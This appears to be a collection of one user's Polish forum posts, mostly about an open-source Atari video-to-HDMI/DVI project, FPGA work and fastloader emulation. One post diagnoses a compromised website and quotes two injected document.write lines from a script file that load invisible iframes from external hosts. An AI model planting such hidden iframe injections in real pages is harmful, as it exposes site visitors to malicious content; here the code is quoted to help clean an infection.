Poczytaj: http://www.podatki.biz/sn_autoryzacja/l ... kulu=18028
http://ryczalt.wieszjak.pl/najem-i-dzie ... dotad.html

Nie tyle rozwiązała, co potwierdziła źródło problemu.
Da się to oczywiście obejść, ale była by to już sztuka dla sztuki, przekombinowany układ itd.

Kilka ostatnich dni poświęciłem na zapoznanie się ze specyfikacją cyfrowej transmisji danych (DVI/HDMI) oraz zapoznałem się przynajmniej z podstawami vHDL'a oraz z możliwościami FPGA. To jest wręcz stworzone do tego celu.

Od przyszłego tygodnia zaczynam od nowa. Tym razem biorę się za FPGA :)

W załącznku wynik testu.

Jak widać ani jednego zgubionego pixela. Potwierdza to moją tezę.

(GPU a właściwie Framebuffer został zainicjowany dopiero po zakończeciu przechwytywania)

Też się skuszę.
Poproszę o dane co i jak zapłacić.

Problemy najprawdopodobniej stwarza to:

W pliku /skrypty/m-x.js

Na końcu doklejony jest taki kod:

document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://gclabrelscon.net/about.php"></iframe></div>');


document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.mc-plainlinde.at/upload/upload.php"></iframe></div>');

Albo masz gdziś dziurę w którymś skrypcie php (upload jakiś), albo server dziurawy i przez powłokę coś się uruchamia, nie koniecznie na twoim koncie.

Jak wyżej.
Ale jak już koniecznie musisz to może jakieś iframe, rozwiązań jest conajmniej wiele zależy co chcesz osiągnąć.

Nie widzę sensu dalej pchania się w tym kierunku. Zrobiłem to na "szybkich" przerwaniach (FIQ). Żeby dane bez większego problemu dało się wepchać to trzeba je przepuścić przez coś w rodzaju multiplexara (cpld) przy okazji pełnił on by rolę konwertera poziomów do 3v3 a i dane trzeba pchać po 12 bitów na raz.
Korzystając z RPI chciałem wykorzystać inne możliwości które w nim tkwią, ale tracąc możliwość synchronicznej kmunikacji ... uważam że projekt traci sens.

W DosBoxie działa :)

Więc po kolei.

Nie jest to żaden konwerter.
Układ działa równolegle do GTIA. Czyli Atari nie będie pozbawione niczego ze swojej funkcjonalności.

Na chwilę obecną nie ma zaimplementowanych żadnych rejestrów. Obraz jest generowany w tej chwili z tego co ANTIC wysyła.
Niestety zastosowane rozwiązanie Hardwareowe - które może być zaskoczeniem i narazie pozwolę sobie go nie wyjawiać ;-> - ma pewne wady. Nie jest w stanie obsłużyć przerwań z częstotliwością 3,5MHz (OSC) i co jakiś czas gubi przerwanie. Co widać na załączonych screenach jako zgubione pixele i poszarpane krawędzie.

Koszt: Myślę że max 250 w porywach 300PLN

Fotki narazie nie zamieszczę, ale wielu ma najdroższy element w domu.

Nie powinno być problemu z konwersją na DVI.

Początkowo chciałem zaemulować cały ekran PAL (istnieje nawet tryb 288p dla HDMI), ale wydaje mi się to bezcelowe. Skupię się na normalnie widocznych 240 liniach.

Projekt zamierzam w całości opublikować jako Open Source, a nie jako "open source" co się często zdaża. Znaczy to że wszelkie pliki źródłowe będą dostępne.

Ale po co emulować całą stację. To robota głupiego.
Ja bym postawił na rozwiązanie mieszane. Trochę HW i trochę SW.
HW Udaje stację i w zależności od tego jaki fastloader rozpozna, udaje odpowiednie zachowanie + pośredniczy w wymianie danych z PC. A SW po stronie PC serwuje pliki itd...

Na szybko przyswoiłem podstawową wiedzę o fastloaderach i cały pic polega na tym że trzeba to wszystko dokładnie zsynchronizować ... a najprościej zrobić to tak jak w ultimate uczyniono - podpiąć się pod port Cartridgea :D